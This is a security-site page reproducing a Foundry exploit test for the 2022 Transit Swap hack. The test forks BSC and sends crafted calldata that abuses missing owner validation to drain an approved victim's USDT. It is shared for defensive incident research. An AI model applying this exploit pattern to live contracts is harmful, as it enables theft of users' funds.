Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/TransitSwap_exp.sol

Public reproduction file for dataset entry Transit Swap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/TransitSwap_exp.sol69 lines
1// SPDX-License-Identifier: GPL-3.0
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : over $21 Million
8// Attacker : 0x5f0b31AA37Bce387a8b21554a8360C6B8698FbEF
9// Attack Contract : https://bscscan.com/address/0x8CA8fD9C7641849A14CbF72FaF05c305B0c68a34
10// Vulnerable Contract : https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72
11// Attack Tx : https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72 (unverified)
16// @Analysis
17// Twitter TransitFinance : https://twitter.com/TransitFinance/status/1576463550557483008
18// Twitter SunSec : https://twitter.com/1nf0s3cpt/status/1576511552592543745
19// Twitter BeosinAlert : https://twitter.com/BeosinAlert/status/1576387705076084736
20// Article Numencyber : https://www.numencyber.com/transit-swap-hack-analysis/
21// Article QuillAudits : https://quillaudits.medium.com/transit-finance-28-9m-exploit-analysis-quillaudits-5d8228956102
22// Article SharkTeam : https://medium.com/@sharkteam/approval-and-verification-vulnerability-analysis-of-transitswap-security-incident-89cfe999a1ef
23// Article Immunebytes : https://www.immunebytes.com/blog/transit-swap-exploit-oct-2-2022-detailed-analysis/
25/*
26 Attack steps: It's simple, but you need to study past transactions to know how to combine the call data.
27 1. Incorrect owner address validation, you can input any innocent user who granted approvals to "0xed1afc8c4604958c2f38a3408fa63b32e737c428" before.
28 In this case 0x1aae0303f795b6fcb185ea9526aa0549963319fc is a innocent user who has BUSD and granted approvals.
30 2. Contract "0xed1afc8c4604958c2f38a3408fa63b32e737c428" will perform `transferFrom()` to transfer amount of innocent user to attacker.
31 That's it.
33 Root cause: Incorrect owner address validation.
35 Contract:
36 TransitSwap: 0x8785bb8deae13783b24d7afe250d42ea7d7e9d72
37 Bridge: 0x0B47275E0Fe7D5054373778960c99FD24F59ff52
38 Claimtokens: 0xed1afc8c4604958c2f38a3408fa63b32e737c428
39*/
41contract ContractTest is Test {
42 address constant TRANSIT_SWAP = 0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72;
43 IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955); // Binance USDT
45 function setUp() public {
46 vm.createSelectFork("bsc", 21_816_545);
47 // Adding labels to improve stack traces' readability
48 vm.label(TRANSIT_SWAP, "TRANSIT_SWAP");
49 vm.label(address(BUSDT_TOKEN), "BUSDT_TOKEN");
50 vm.label(0x0B47275E0Fe7D5054373778960c99FD24F59ff52, "EXPLOIT_AUX_CONTRACT");
51 vm.label(0xeD1afC8C4604958C2F38a3408FA63B32E737c428, "EXPLOIT_AUX_CONTRACT_2");
52 vm.label(0x1aAe0303f795b6FCb185ea9526Aa0549963319Fc, "VICTIM_EXAMPLE");
53 }
55 function testExploit() public {
56 emit log_named_decimal_uint(
57 "[Start] Attacker USDT balance before exploit", BUSDT_TOKEN.balanceOf(address(this)), 18
58 );
60 (bool success,) = TRANSIT_SWAP.call(
61 hex"006de4df0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8000000000000000000000000a1137fe0cc191c11859c1d6fb81ae343d70cc17100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002707f79951b87b5400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000380000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000ed1afc8c4604958c2f38a3408fa63b32e737c4280000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a40a5ea46600000000000000000000000055d398326f99059ff775485246999027b31979550000000000000000000000001aae0303f795b6fcb185ea9526aa0549963319fc0000000000000000000000007FA9385bE102ac3EAc297483Dd6233D62b3e149600000000000000000000000000000000000000000000015638842fa55808c0af00000000000000000000000000000000000000000000000000000000000077c800000000000000000000000000000000000000000000000000000000"
62 );
63 require(success, "Exploit failed");
65 emit log_named_decimal_uint(
66 "[End] Attacker USDT balance after exploit", BUSDT_TOKEN.balanceOf(address(this)), 18
67 );
68 }

Analysis

Dataset entry

Public Foundry test for “Transit Swap” (2022-10-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5f0b31aa37bce387a8b21554a8360c6b8698fbef

  • Attack Contract

    0x8ca8fd9c7641849a14cbf72faf05c305b0c68a34

  • Vulnerable Contract

    0x8785bb8deae13783b24d7afe250d42ea7d7e9d72

  • Attack Tx

    0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189

File record

Name
Transit Swap
Path
src/test/2022-10/TransitSwap_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
03d0cd6f1005d5becab3f0dde89e18576383f6e2
Language
Solidity
Size
70 lines
Date
2022-10-02
Licence
file header GPL-3.0; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/TransitSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 03d0cd6f1005d5becab3f0dde89e18576383f6e2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.